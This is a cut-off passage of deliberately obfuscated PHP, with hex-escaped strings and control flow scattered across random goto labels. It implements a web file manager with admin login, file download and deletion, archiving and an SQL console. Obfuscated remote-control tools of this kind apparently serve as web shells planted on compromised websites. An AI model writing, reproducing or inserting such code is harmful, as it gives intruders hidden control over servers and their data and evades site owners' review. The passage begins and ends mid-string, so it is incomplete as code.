"\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\15\12\56\151\155\x67\x20\x7b\15\12\xd\12\11\x62\x61\x63\x6b\147\x72\x6f\x75\x6e\144\55\x69\155\141\x67\x65\x3a\40\xd\12\15\12\x75\162\154\50\42\144\141\164\141\x3a\x69\155\141\147\145\57\160\x6e\147\x3b\142\x61\163\x65\x36\64\x2c\x69\x56\x42\x4f\x52\167\x30\113\107\x67\157\101\x41\101\x41\116\123\x55\150\x45\125\x67\x41\101\x41\x42\x41\101\x41\x41\101\x51\x43\x41\x4d\x41\101\101\101\157\114\x51\x39\124\101\x41\101\x41\102\x47\x64\102\x54\125\x45\101\101\113\x2f\111\116\x77\127\x4b\66\x51\101\101\x41\x64\x46\x51\x54\x46\122\x46\x37\x65\x33\x74\57\x66\x33\71\160\x4a\53\146\x2b\143\x4a\141\152\x56\x38\161\66\145\x6e\160\x6b\107\111\155\x2f\x73\106\117\57\53\x32\x4f\x33\x39\63\x63\x35\x75\x62\155\57\x73\170\x62\x64\x32\71\x79\151\155\144\156\145\x46\147\x36\65\x4f\124\153\62\172\157\131\66\165\x48\x69\61\172\101\x53\x31\143\162\112\163\110\163\62\x6e\x79\x67\x6f\63\x4e\162\x62\x32\114\102\130\x72\x59\164\x6d\x32\160\65\x41\57\x2b\x68\130\160\x6f\122\x71\x70\x4b\117\153\167\x72\x69\x34\66\53\x76\x72\x30\x4d\x47\63\x36\x59\x73\x7a\66\x75\x6a\x70\x6d\111\66\x41\x6e\x7a\x55\x79\x77\x4c\x2b\x2f\155\130\x56\123\155\111\102\116\x38\x62\167\x77\152\61\x56\x42\171\114\107\x7a\x61\61\132\112\60\116\104\121\x6a\131\x53\102\x2f\x39\x4e\x6a\x77\x5a\66\x43\x77\x55\101\163\170\153\x30\142\x72\x5a\x79\x57\x77\67\x70\x6d\107\x5a\x34\x41\x36\x4c\164\x64\153\x48\144\x66\57\53\x4e\70\x79\x6f\x77\x32\x37\142\65\x57\x38\67\x52\x4e\114\x5a\114\57\62\x62\151\120\x37\167\101\x41\x2f\x2f\107\112\154\65\x65\130\x34\116\x66\131\163\x61\141\x4c\x67\160\66\150\61\x62\x2b\164\57\x2b\66\122\66\x38\106\145\70\71\x79\143\x69\x6d\x5a\x64\x2f\165\x51\x76\x33\x72\x39\x4e\165\x70\x43\102\x39\x39\x56\62\x35\x61\x31\x63\126\112\142\142\x6e\110\x68\117\x2f\x38\x78\123\x2b\115\102\141\x38\x66\x44\167\151\62\112\151\64\70\x71\x69\x2f\53\x71\x4f\x64\126\x49\172\163\x33\64\170\x2f\57\107\117\x58\x49\172\x59\x70\x35\x53\x50\57\163\x78\147\x71\x70\151\111\143\x70\x2b\x2f\x73\x69\121\x70\x63\155\x70\163\x74\x61\171\163\172\x53\x41\x4e\x75\113\113\124\71\120\124\x30\x34\165\114\x69\167\111\x6b\x79\x38\x4c\x64\105\53\163\x56\x57\166\x71\x61\155\x38\x65\x2f\166\114\65\111\x5a\x2b\162\x6c\110\x38\143\116\147\60\x38\103\x63\172\67\x61\x64\70\x76\114\171\71\x4c\164\x55\x31\x71\x79\x55\165\x5a\x34\x2b\x72\65\61\x32\x2b\x38\163\x2f\x77\x55\x70\114\x33\x64\x33\x64\x78\67\x57\x31\146\107\116\x61\x2f\70\x39\132\62\143\146\110\53\163\x35\x6e\66\x4f\x6a\157\142\61\x59\x74\x73\x37\113\x7a\x31\x39\x66\130\x77\x49\147\64\160\x31\x64\116\53\x50\152\64\172\114\x52\60\53\x38\160\x64\67\x73\164\162\150\x4b\x41\x73\x2f\71\150\152\57\x39\x42\126\61\113\x74\146\164\114\123\x31\x6e\160\62\144\131\x6c\x4a\123\x5a\x46\126\x56\65\x4c\x52\127\x68\x45\x46\x42\65\x72\150\132\57\x39\112\161\60\x48\164\x54\57\x2f\x43\x53\x6b\111\x71\x4a\x36\113\65\x44\x2b\x4c\116\116\x62\154\x56\126\x76\152\x4d\x30\64\67\x5a\x4d\x7a\67\x65\63\x31\x78\x45\107\57\x2f\x2f\57\164\x4b\x67\x75\66\167\x41\101\x41\x4a\x74\60\x55\153\65\124\57\x2f\x2f\57\x2f\x2f\x2f\57\x2f\x2f\57\x2f\x2f\x2f\57\57\57\x2f\57\57\x2f\x2f\57\x2f\57\57\57\57\57\x2f\57\x2f\57\x2f\57\57\x2f\57\57\x2f\57\57\x2f\57\x2f\x2f\x2f\57\57\57\x2f\57\x2f\57\57\x2f\x2f\57\57\x2f\x2f\57\57\x2f\57\57\57\57\x2f\x2f\57\57\x2f\x2f\57\x2f\57\57\x2f\57\57\57\x2f\57\57\x2f\x2f\x2f\57\57\57\x2f\57\x2f\57\57\x2f\57\x2f\57\57\57\x2f\x2f\x2f\x2f\x2f\57\57\x2f\57\x2f\x2f\57\57\x2f\x2f\x2f\57\x2f\57\57\57\x2f\57\57\x2f\57\x2f\57\57\x2f\57\57\x2f\x2f\x2f\x2f\57\x2f\57\57\57\x2f\x2f\57\57\x2f\57\x2f\57\57\57\x2f\57\57\x2f\57\57\x2f\x2f\x2f\x2f\57\x2f\x2f\57\x2f\x2f\x2f\x2f\57\x2f\57\57\x2f\x2f\57\57\57\57\57\x2f\x2f\x2f\x2f\x2f\x2f\57\x2f\57\x2f\57\57\x2f\57\57\57\x2f\x2f\57\x2f\x2f\x2f\57\167\103\x56\x56\160\113\x59\x41\x41\101\101\x47\130\x52\106\x57\x48\122\x54\142\62\132\x30\144\62\x46\x79\x5a\x51\x42\102\x5a\107\71\x69\x5a\123\102\x4a\x62\127\x46\x6e\x5a\126\112\x6c\131\127\x52\65\143\x63\154\x6c\120\x41\101\101\x41\116\x5a\112\122\x45\x46\125\113\x46\x4e\x6a\x6d\x4b\x57\151\120\x51\x73\x5a\x4d\115\x78\x69\x6d\x73\x71\120\x4b\x70\101\x62\x32\115\163\101\132\x4e\x6a\114\x4f\167\153\172\147\x67\126\155\x4a\x59\156\171\160\x73\x2f\x51\x45\65\71\x65\x4b\x43\x45\x74\102\150\141\x59\106\122\146\152\132\x75\x54\150\x48\62\67\x6c\131\x36\153\x71\102\x78\x59\157\x72\x53\57\x4f\x4d\103\x35\167\x69\x48\132\x6b\x6c\x32\x51\103\103\126\x54\153\x4e\53\x74\162\164\106\152\64\132\123\160\115\x6d\x61\x77\x44\x46\102\104\60\x6c\103\157\x79\156\172\x5a\102\154\x31\x6e\111\x4a\152\65\x35\x45\154\102\101\60\x39\160\x64\x76\143\x39\x62\x75\124\61\123\131\113\x59\x42\x57\x77\x31\121\x49\x43\60\x6f\x4e\x59\163\x6a\162\106\110\x4a\160\x53\x6b\x76\122\131\163\102\x4b\x43\103\142\x4d\71\x48\114\x4e\x39\x74\x57\162\x62\161\156\152\x55\125\107\132\107\61\x41\150\107\165\111\x58\132\122\172\160\x51\x6c\x33\x61\x47\167\x44\x32\102\x32\143\x5a\x5a\62\172\x45\x6f\114\x37\127\53\165\66\x71\x79\101\x75\156\x5a\130\111\x4f\x4d\x76\121\162\x46\171\153\x71\x77\124\x69\106\x7a\x42\x51\116\117\x58\x6a\64\x51\113\x7a\x6f\101\113\x7a\x61\152\164\x59\x49\x51\167\x41\154\166\x74\160\x6c\63\126\65\143\x38\x4d\101\x41\x41\x41\x41\x53\125\x56\117\122\x4b\65\103\131\x49\x49\x3d\42\51\x3b\15\12\15\xa\175\15\12\xd\12\x40\x6d\x65\x64\x69\x61\x20\163\x63\162\145\x65\x6e\40\141\156\x64\40\50\155\x61\x78\55\167\151\x64\x74\x68\x3a\67\x32\x30\x70\x78\x29\173\15\12\15\12\x20\x20\164\141\x62\154\x65\173\144\x69\163\x70\154\141\x79\72\x62\x6c\x6f\143\x6b\x3b\x7d\15\12\15\12\40\40\40\x20\x23\x66\x6d\137\x74\x61\142\154\145\40\164\144\173\144\151\x73\160\x6c\x61\x79\72\x69\x6e\x6c\x69\156\x65\x3b\146\x6c\157\x61\x74\72\x6c\x65\x66\x74\73\x7d\15\12\15\xa\40\x20\x20\x20\x23\x66\x6d\137\x74\x61\x62\x6c\145\40\164\x62\x6f\x64\171\x20\x74\144\x3a\146\151\x72\163\164\55\x63\150\x69\154\144\173\167\x69\144\164\150\72\x31\60\60\x25\73\x70\141\x64\144\151\x6e\147\72\x30\73\x7d\xd\12\15\xa\40\40\40\40\43\146\x6d\137\164\141\142\x6c\x65\x20\164\x62\157\144\x79\40\164\162\x3a\x6e\164\150\55\143\x68\x69\154\144\x28\62\x6e\53\61\51\173\142\x61\143\x6b\147\x72\157\x75\x6e\144\55\143\157\x6c\x6f\162\72\43\105\x46\x45\106\x45\x46\x3b\x7d\15\xa\xd\12\40\40\x20\x20\43\x66\x6d\137\164\x61\142\x6c\x65\40\x74\142\x6f\x64\171\x20\x74\x72\x3a\x6e\x74\150\55\x63\150\151\x6c\144\x28\62\156\x29\x7b\x62\x61\143\x6b\147\x72\157\x75\x6e\144\x2d\143\157\x6c\x6f\162\72\x23\104\x45\x45\x33\105\x37\x3b\175\15\12\40\x20\x20\40\x23\x66\155\x5f\x74\x61\142\x6c\x65\40\164\162\x7b\x64\151\x73\160\x6c\141\171\72\x62\x6c\157\x63\x6b\73\146\x6c\157\141\x74\x3a\x6c\145\146\x74\x3b\x63\x6c\x65\141\x72\72\154\x65\x66\x74\x3b\x77\151\x64\164\x68\72\61\x30\x30\x25\73\x7d\15\xa\15\xa\x9\43\x68\145\141\144\x65\162\137\x74\141\x62\x6c\145\40\x2e\162\x6f\167\62\54\x20\43\x68\145\141\144\145\x72\137\164\x61\x62\154\145\40\x2e\x72\157\x77\63\x20\x7b\144\151\x73\160\154\x61\x79\72\x69\x6e\154\x69\156\145\x3b\146\x6c\x6f\141\164\x3a\x6c\145\x66\x74\x3b\167\x69\x64\164\150\x3a\x31\x30\60\45\73\x70\x61\x64\144\151\156\x67\x3a\60\x3b\x7d\xd\xa\40\40\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\xd\12\11\43\150\x65\141\144\145\162\137\x74\141\142\x6c\145\40\164\141\x62\x6c\x65\40\x74\x64\40\x7b\144\x69\163\160\x6c\x61\171\72\151\x6e\154\x69\x6e\x65\73\x66\154\x6f\141\164\x3a\x6c\x65\146\164\73\175\xd\xa\15\xa\x7d\xd\12\xd\xa\x3c\57\163\x74\x79\154\x65\76\15\12\xd\12\x3c\x2f\x68\145\x61\144\x3e\xd\xa\40\40\40\40\x20\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\15\12\x3c\x62\x6f\x64\171\x3e\15\12"; goto l21eL; hrq9R: goto U3wep; goto G0gDq; GisKN: if (empty($_POST[$jICw7 . "\x5f\x6e\141\x6d\145"])) { goto Df2it; } goto mLT7h; FIT1O: OrM07: goto mJNjR; utA8Z: Ed76U: goto xtRd8; LAbBV: goto ILmTG; goto KFzhm; R78Bu: yBz3P: goto leYjz; SrAv6: xmLQ5: goto KRM4y; fCsTo: odQHA: goto k6cwR; lE9t1: goto nc7Iq; goto ttKWC; v6yLa: rSnn7: goto rd1bJ; Z4qFR: T0yaB: goto GH9ui; t2mCk: RQewt: goto IoPoR; XuszE: echo "\x20\174\x20\x50\110\120\40" . phpversion(); goto Nd2iv; esG13: goto ToAp5; goto z9RLs; fu3az: goto cucHT; goto XflD1; U_No9: goto Ba0MF; goto WaFYa; PP2ne: kTftc: goto OP9YY; SXlrl: cesNv: goto KK5Q6; PQp2q: rua0L: goto mDNLg; lJdnl: goto u288r; goto V3R3r; LQC57: cSMsp: goto vYoAO; W6eNB: curl_close($N2qJa); goto Ct41K; QopgK: goto W1Qhy; goto C40II; hZdHQ: bCJwE: goto ZbEo5; S6HEx: oAGTV: goto zdS1M; Jn6ob: hWmMA: goto NKE5q; dEhOw: $n5xc3 = "\x7b\42\123\x65\164\164\151\x6e\147\x73\x22\72\x22\147\154\157\x62\141\x6c\40\x24\x66\155\163\137\x63\x6f\156\146\x69\147\x3b\x5c\162\x5c\156\x76\141\x72\137\145\x78\160\157\x72\x74\x28\44\146\155\x73\x5f\143\x6f\x6e\x66\151\147\x29\x3b\42\x2c\42\x42\x61\x63\153\165\x70\x20\x53\121\114\40\164\x61\142\154\145\163\42\x3a\42\145\143\x68\x6f\x20\146\155\x5f\142\x61\x63\x6b\165\x70\x5f\x74\x61\142\154\145\163\x28\51\x3b\42\175"; goto e3wTk; uadVi: goto Lh75s; goto Cer0G; HnilP: goto ZeFzX; goto HGnyD; aoxTU: GOe5Q: goto T8XLm; ej0PW: fclose($wlRVP); goto woGaN; NuJPp: PvEjz: goto s5cXo; poWtP: goto LdvIY; goto t2mCk; bXXyX: bLE3l: goto bkK7c; rwwHa: TwkGA: goto rvjn7; Czfh1: goto FtB9w; goto GVIBz; q8mHF: GZJGb: goto OZynt; v9v7f: mkuly: goto Ya82y; sPOLV: goto wPQLV; goto p5SUT; f8Fqr: uRY1d: goto sMfdy; jmyoN: I6Am6: goto w0AXQ; jvmUw: J3wkC: goto zanSL; YKYoL: goto EEhq1; goto O_15v; AoBeq: goto GwuCZ; goto o5pFW; yvWAv: goto QKRz_; goto bioI_; cnQg7: zRC4J: goto maizC; MO85E: goto f0Cdt; goto cXSj_; ZNHcN: if (!(isset($_POST["\x73\x71\154\x72\x75\156"]) && !empty($C0tA4["\145\x6e\141\142\154\x65\x5f\x73\x71\x6c\137\143\x6f\x6e\163\157\154\145"]))) { goto k_U0_; } goto CZCdb; n24vG: goto aczly; goto xiL8z; wPpSr: echo $VLMCB; goto cP001; zHsCx: cWnWL: goto X3Tl5; YazQR: nz4Ca: goto wQv3j; gQLCs: kA8M0: goto rtAyF; QAC5V: goto shsTD; goto ciZzN; ZjOwQ: goto RrBIk; goto a_K1A; ifGbK: goto e1Nbi; goto mprQK; PQIUW: oKTpD: goto AgyFs; NkFsz: if ($fahGj["\x61\x75\x74\150\x6f\162\151\x7a\x65"]) { goto kw2Zx; } goto gzaZt; gJ6rc: P28L6: goto UQGGx; IuEBq: goto RQewt; goto HbSeA; SfIHL: d2Of4: goto D4Km0; WT43z: YFZEA: goto B5ZPT; O_f5M: lskwK: goto DJSHp; qqJH9: goto j4U0M; goto OxwFN; k99x8: goto j_qPG; goto jG0ez; ZT13J: unlink($wdJBd); goto QRlFh; ZyLl6: goto xVooX; goto v2ysD; Bk_Xe: Mge9j: goto PKJfL; qyCmj: InST_: goto AfQm_; cv97l: INmSH: goto aeftU; KRM4y: RwtD4: goto fWVxq; k3Myb: $jTEOW = base64_decode($_GET["\144\157\167\x6e\154\x6f\141\x64"]); goto E76Sa; h0x7F: pecnh: goto QopgK; kiEoe: goto QWYGj; goto IJYod; K4McC: goto rBeH7; goto vWXWE; iBqOF: Up31x: goto ZN_1g; e60ao: if ($_POST["\154\157\x67\151\x6e"] == $fahGj["\x6c\x6f\x67\x69\x6e"] && $_POST["\x70\141\x73\163\167\157\162\144"] == $fahGj["\160\x61\x73\163\167\157\x72\144"]) { goto gTlwt; } goto iTHIx; U5rS1: if (is_file($wdJBd)) { goto dRwU7; } goto mmD5H; pkQA5: $O10i3 .= JNGIJ("\x54\141\x73\153") . "\40\42" . JnGiJ("\x41\x72\143\150\x69\166\151\156\147") . "\x20" . $e2Q0i . "\42\x20" . JnGIJ("\144\x6f\x6e\145") . "\x2e\46\x6e\x62\163\160\x3b" . Wj_30("\144\x6f\x77\x6e\x6c\x6f\x61\144", $VLMCB . $e2Q0i, jngiJ("\x44\157\x77\156\154\157\141\144"), JngIJ("\104\x6f\x77\156\x6c\x6f\141\144") . "\40" . $e2Q0i) . "\x26\156\x62\163\x70\x3b\x3c\x61\40\x68\162\145\x66\x3d\42" . $Ga3rH . "\x26\x64\145\154\145\x74\145\75" . $e2Q0i . "\x26\160\141\164\150\75" . $VLMCB . "\x22\x20\x74\151\x74\x6c\x65\75\42" . jNGij("\104\145\x6c\145\164\145") . "\x20" . $e2Q0i . "\42\40\x3e" . JngIj("\104\145\154\x65\164\145") . "\74\x2f\141\76"; goto ctr0v; erHao: IJJaj: goto UcoSb; vGryh: goto N4Pyc; goto NObl2; wZh1t: qslf8: goto swX1M; Io1x5: goto wZlv8; goto PjU4X; Q7Mau: goto LshH_; goto CMats; kVnHZ: Vtf3D: goto p6j1O; mJNjR: goto jWKz2; goto Vrye0; VzIWf: mrLXd: goto fhgmY; fdhqk: goto zUeSq; goto mLqB_; zYh0W: k8qo6: goto bE55K; fqi5K: if (isset($_GET["\144\x6f\x77\156\x6c\x6f\x61\144"])) { goto RpkFq; } goto biePJ; cTjfx: lPN8h: goto c9NQ7; M41Td: CsZvS: goto raVnC; hhmly: goto XViuk; goto brVFd; zBqKM: nBvqE: goto TxFbP; t1mjp: jZewt: goto RZT7O; mqMhO: goto cGU3Y; goto CIYx4; wqGxf: goto aXrrp; goto D1HJu; K7qH_: goto LTqqm; goto ZwM7H; yUgF1: if ($_POST["\146\155\137\x6c\157\147\151\x6e"]["\154\x6f\x67\x69\x6e"] != $fahGj["\154\x6f\x67\151\156"]) { goto OrM07; } goto mwR6S; ZGuoK: sAkPr: goto AM5Mj; TY01N: echo "\x72\165\x6e\42\76\xd\12"; goto WJkor; czpUx: tg6ut: goto LUvFi; pUGRW: oIZvf: goto HJCNW; Wk7XT: IMV6A: goto DFL8M; F9QsV: dZWyt: goto JNm7m; bw9rO: goto Uzdiu; goto SI1nx; T98hg: KMmPb: goto bkkpj; XwTkq: goto mxVk5; goto AEIgL; nWsuH: goto XMTuX; goto CVBkW; jKNcz: p43zs: goto PdqeQ; Cuvy9: goto qcV5P; goto t1mjp; A3B0w: JY6O_: goto qd_B8; M8n2p: goto GukOX; goto fNsN6; wdwnT: yo3H4: goto Y_swJ; UKkKE: $W5Q_F->compress(Phar::GZ, "\x2e\x74\x61\x72\x2e\147\172"); goto DFF66; etpPx: HDSh1: goto YcPG1; j4465: goto BTGj9; goto Uor0q; OC0wU: uH_VZ: goto BA7TX; PbpBc: yoFqW: goto oY9Gk; CAzzv: ttYun: goto wY5s9; Qkv38: fQUXI: goto bcjJ6; FRvtb: goto rua0L; goto HQgdo; qygJe: echo "\40\55\40\x44\141\164\x61\x62\141\x73\145\72\40" . $C0tA4["\163\161\154\137\x64\x62"] . "\74\57\x68\62\76\x3c\57\x74\144\76\74\164\x64\76" . fMvoa("\x70\150\x70"); goto s0dl9; NOsPV: OF35F: goto uf5Rb; igVz9: B7SsC: goto v6dmb; wosyc: iPSpk: goto C54b5; Txk2V: if (!empty($C0tA4["\x73\x68\x6f\x77\x5f\x70\x68\160\x5f\166\x65\x72"])) { goto stEtO; } goto lJdnl; YEjsT: goto gubCy; goto etpPx; y5n8r: sZnKm: goto tVd91; djyQP: KQ5bq: goto cXm97; hfpEH: goto h971k; goto C3Y_E; psNUC: function kKXvP($BfzJh) { goto Q1_Mz; tvP1B: goto KaPII; goto yEY8q; kc8Du: goto b7Gya; goto SGVfv; asCSe: header("\103\157\156\x74\145\156\x74\55\104\x69\x73\160\x6f\x73\x69\x74\151\157\x6e\x3a\40\141\164\164\x61\x63\150\x6d\x65\156\164\x3b\40\x66\151\154\145\156\141\x6d\145\x3d" . basename($BfzJh)); goto njEZj; vcjQQ: goto nHOqz; goto qzSbw; UoS2G: weeiB: goto AHMb4; my06m: OVoC_: goto wVmoT; p0voN: goto vLyLE; goto V0UZj; ASsuZ: HPGAW: goto qVOEc; FHAlq: U8iTU: goto czp_C; KOW6Z: E5GgC: goto RmZRf; hqN54: w59hd: goto W5Pg5; dvBdI: W9daQ: goto PSl2Z; XOevS: goto SZSna; goto LOB4J; Q1_Mz: goto E29Lu; goto tkdt5; sI7dT: echo fread($wlRVP, 65536); goto glTSn; V0UZj: bTf1l: goto oXBrb; KbY3a: goto VpudA; goto DWxNj; vgVDy: goto Qdr0B; goto qaHjz; RmZRf: G9E2F: goto XOevS; OnYxX: UO0Gp: goto ih1oF; DWxNj: xY2ws: goto rko3c; DTVZi: goto eojj2; goto hqN54; rko3c: header("\103\x6f\156\164\145\156\164\x2d\124\x79\160\x65\72\x20\x61\160\x70\x6c\151\143\x61\x74\x69\157\x6e\57\x66\x6f\162\x63\x65\x2d\144\157\167\156\154\157\141\144"); goto io1oV; iF8xf: flush(); goto Zi2nb; qzSbw: AfgUY: goto kc8Du; tkdt5: vLyLE: goto HrQLw; U6u0w: goto G9E2F; goto FHAlq; fuddv: fclose($wlRVP); goto azWqP; PSl2Z: die; goto dWuvX; glTSn: goto jlx3P; goto QnJey; FBhWt: flush(); goto DTVZi; i93qp: VpudA: goto asCSe; O3d8W: goto wuZfL; goto UvKUr; gaI9u: if (!feof($wlRVP)) { goto U8iTU; } goto U6u0w; Ud6Fq: goto eLabb; goto i93qp; ih1oF: z47rA: goto p0voN; AgtHY: header("\x48\124\x54\x50\x2f\x31\x2e\60\40\64\60\x34\40\x4e\157\164\x20\x46\157\165\x6e\144", true, 404); goto vcjQQ; dWuvX: goto UO0Gp; goto qWt6E; njEZj: goto xY2ws; goto gBQ4j; CkCPJ: goto z47rA; goto zPHOH; QnJey: S15nk: goto AgtHY; Bs9n2: header("\103\157\x6e\x74\145\156\x74\55\x4c\145\x6e\x67\164\x68\x3a\x20" . G1Bwn($BfzJh)); goto A1mDb; qaHjz: WuTad: goto TthfK; qVOEc: goto S15nk; goto OnYxX; adGJa: $wlRVP = fopen($BfzJh, "\162"); goto ENi3a; wVmoT: header("\103\157\x6e\x74\145\x6e\x74\x2d\x54\171\160\x65\72\x20\141\160\160\x6c\x69\x63\x61\x74\151\x6f\x6e\x2f\157\143\x74\x65\x74\55\163\x74\162\x65\141\x6d"); goto L6Fol; Aa1Kh: SZSna: goto fuddv; A1mDb: goto ZCQqf; goto K2vRf; sDk4u: header("\x43\157\x6e\164\x65\x6e\x74\55\x44\x65\x73\x63\162\x69\x70\164\x69\157\156\72\40\106\151\x6c\x65\40\x54\162\141\156\163\146\145\162"); goto vgVDy; gBQ4j: Qdr0B: goto Bs9n2; Zi2nb: goto AfgUY; goto mRlka; oXBrb: b7Gya: goto laByU; SGVfv: goto E5GgC; goto KOW6Z; RkQM_: goto Kvw9u; goto lWvys; EioTk: if (!file_exists($BfzJh)) { goto HPGAW; } goto sPChO; iKgel: s4WFD: goto P8JGw; G_C7e: header("\123\164\x61\164\165\163\72\40\x34\x30\64\40\x4e\157\164\x20\x46\x6f\x75\156\144"); goto auLRU; mRlka: nHOqz: goto G_C7e; qWt6E: fQDdM: goto gaI9u; LOB4J: E29Lu: goto mKzMs; azWqP: goto W9daQ; goto xU8ab; HrQLw: KaPII: goto FcPtq; czp_C: goto ypJGf; goto iKgel; wySUu: eLabb: goto sDk4u; yEY8q: gI5SW: goto RkQM_; io1oV: goto OVoC_; goto UoS2G; lWvys: Kvw9u: goto EioTk; vQKrP: ZCQqf: goto FBhWt; AHMb4: die; goto O3d8W; W5Pg5: GVaxl: goto KbY3a; xU8ab: ypJGf: goto sI7dT; UvKUr: eojj2: goto adGJa; sPChO: goto GVaxl; goto ASsuZ; FcPtq: goto s4WFD; goto my06m; mKzMs: if (!empty($BfzJh)) { goto gI5SW; } goto tvP1B; auLRU: goto weeiB; goto dvBdI; ENi3a: goto bTf1l; goto cy1G6; K2vRf: jlx3P: goto iF8xf; zPHOH: goto w59hd; goto wySUu; cy1G6: wuZfL: goto CkCPJ; L6Fol: goto WuTad; goto Aa1Kh; TthfK: header("\x43\157\156\164\x65\156\164\x2d\124\x79\160\145\72\40\x61\160\160\x6c\151\x63\141\x74\151\x6f\x6e\x2f\x64\x6f\167\x6e\x6c\157\x61\x64"); goto Ud6Fq; laByU: goto fQDdM; goto vQKrP; P8JGw: } goto vq34z; ibBi4: goto lkezR; goto L5TdQ; qp8sl: qMatB: goto Mc1l5; kseNd: j4U0M: goto vHnsb; NxGDu: YNOF7: goto Zbg3g; UkY1P: goto GDgtC; goto CuMFV; YOaGV: goto niOKG; goto OoxlD; YS1de: goto oXm5f; goto BM2oO; gCk_B: vHq0N: goto V0Q1b; vn8Jk: $wQzW3 = array(); goto Nkav4; qM4ig: goto KT1qe; goto CQR0p; e3LE3: NPiDP: goto U7gIB; YZ49Y: WNLOM: goto srvnm; X26jM: goto kTftc; goto S26y6; FxZgs: $t1rWQ = oLY7E($VLMCB . $_REQUEST["\162\x69\147\x68\164\163"], true); goto wmf0z; ZlgST: foreach ($ZWyig as $n4IRc) { goto vjtJC; x2nQB: ddAjR: goto AsliZ; m6HEj: goto AUS5W; goto hBTh6; o73XM: UyTpZ: goto S8Irc; Gd2mq: goto Usawm; goto f_J9B; rhgQo: goto TJi1p; goto x2nQB; BwNTa: TJi1p: goto n9dOV; OVjUB: goto UyTpZ; goto O4eNc; nzdU6: goto ddAjR; goto HAUjn; n9dOV: $rF7eR = $rF7eR[0]; goto Gd2mq; AV9hP: Usawm: goto dF6zw; vjtJC: goto xhdTw; goto EsSag; hBTh6: KVTr5: goto OVjUB; HAUjn: xe0wF: goto Lh0bY; EsSag: xhdTw: goto u80IX; S8Irc: $PHgnI = $rF7eR; goto nzdU6; Lh0bY: AUS5W: goto cfUnq; AsliZ: goto uxC8s; goto pt4XM; dF6zw: if (in_array($rF7eR, $OkwW2)) { goto KVTr5; } goto m6HEj; b4AEt: BjAtq: goto nELVc; cfUnq: goto GeJEs; goto BwNTa; jGK3F: OtBXx: goto vBseY; nELVc: goto sHMWl; goto o73XM; u80IX: $rF7eR = explode("\73", $n4IRc); goto rhgQo; pt4XM: goto xe0wF; goto AV9hP; f_J9B: sHMWl: goto jGK3F; O4eNc: GeJEs: goto b4AEt; vBseY: } goto f_AUf; RoVhi: goto igiuM; goto XkdCe; DdTHn: BnHKr: goto dIPdU; j8afY: numUR: goto VVVmb; lRmiJ: $fahGj["\x6c\x6f\x67\x69\156"] = isset($fahGj["\154\157\x67\151\x6e"]) ? $fahGj["\x6c\157\147\x69\x6e"] : "\x61\144\155\x69\x6e"; goto KmcGe; V24FX: goto HZNcG; goto Gp1sn; V0Q1b: dK1Ur: goto NVlDA; BX7w2: VJT1u: goto hsb1D; yBvmL: setcookie("\146\155\137\143\157\156\146\151\x67", '', time() - 86400 * $fahGj["\144\141\171\163\x5f\141\165\x74\x68\x6f\162\151\x7a\141\164\151\157\156"]); goto HnfyH; eHmP4: goto Tv7W9; goto PZuGZ; M4_Eb: OQ15t: goto MXY9n; Hx0xk: goto m3zXJ; goto xvJQ1; Uor0q: tJ01Z: goto uzc5V; NKE5q: goto NnfQL; goto JBg1H; JwLjU: BBM7T: goto GNGbO; UB9AT: tO9J_: goto tfErc; c1OGz: E_S9R: goto S9OIK; RsaYn: cKQA0: goto h1Htk; fwjMj: goto AkMGp; goto hJE5i; exdsb: $_COOKIE["\146\155\x5f\x6c\141\x6e\x67"] = $_POST["\146\155\137\154\141\x6e\147"]; goto ra9Ed; xiL8z: P362E: goto SYAz7; CYuaO: goto MiPfB; goto J0jZL; Znwv1: Mweiu: goto dBSur; eEboQ: if (!isset($GpXQq)) { goto Ahx4o; } goto fdhqk; JNm7m: PRIY9: goto xLvdM; h04Zt: goto V43D3; goto rIoqW; aa9pd: BNH03: goto zAB2Z; rIoqW: Hv0PC: goto kKtcT; U4ZYj: echo strtoupper($p9djE); goto dCdO4; owcLf: goto IJJaj; goto bMt5i; JDvc5: ini_set("\155\x61\170\x5f\x65\x78\x65\x63\x75\x74\x69\157\156\x5f\x74\x69\x6d\x65", "\x30"); goto nM7kB; iEiwc: goto WZlCY; goto voDgD; Vrye0: thE5f: goto O3yy_; M0Ed5: $nguOO = $Ga3rH . "\46\x70\x61\x74\150\x3d" . $VLMCB; goto aYioy; ZTj5n: KmUKy: goto B3kdy; wQv3j: goto FWZwV; goto KnsLN; xQjIp: $e2Q0i = basename($GjkCm) . "\x2e\164\141\162"; goto vN4sI; hLBin: WZlCY: goto Dpfx5; OLAAh: goto I5Kw3; goto E0N0V; dvJ8c: goto HPDls; goto YDamk; prDhg: $nguOO = $Ga3rH . "\x26\160\141\x74\x68\75" . $VLMCB; goto JV0Y6; XjF8Q: ywlxf: goto eu9E9; Ngm6D: rBeH7: goto brjF2; wwI8p: goto yYjNn; goto P1bBJ; v6i8g: echo "\74\x2f\x74\151\164\154\145\76\xd\12\74\x73\x74\x79\x6c\145\x3e\xd\12\xd\12\x62\x6f\x64\x79\40\x7b\xd\12\15\12\11\142\141\x63\x6b\147\x72\x6f\165\156\x64\x2d\143\157\154\157\162\x3a\11\x77\x68\151\x74\145\73\xd\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x20\40\40\15\xa\11\146\x6f\156\x74\x2d\146\141\x6d\151\x6c\x79\72\11\x9\40\40\40\40\40\40\x20\40\40\126\x65\x72\144\141\156\141\54\x20\x41\162\151\x61\154\x2c\40\110\145\154\166\145\x74\x69\x63\141\x2c\x20\x73\141\x6e\x73\x2d\x73\145\x72\151\x66\x3b\xd\12\x9\146\x6f\156\x74\x2d\x73\x69\172\x65\x3a\11\x9\x20\40\x20\x20\x20\x20\40\x20\x20\x9\x38\x70\x74\x3b\xd\12\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\15\xa\11\x6d\x61\x72\147\x69\x6e\x3a\11\11\x20\40\x20\40\40\40\40\x20\x20\11\x9\x20\x20\40\40\40\x20\40\40\x20\x30\x70\170\73\xd\12\x7d\xd\12\x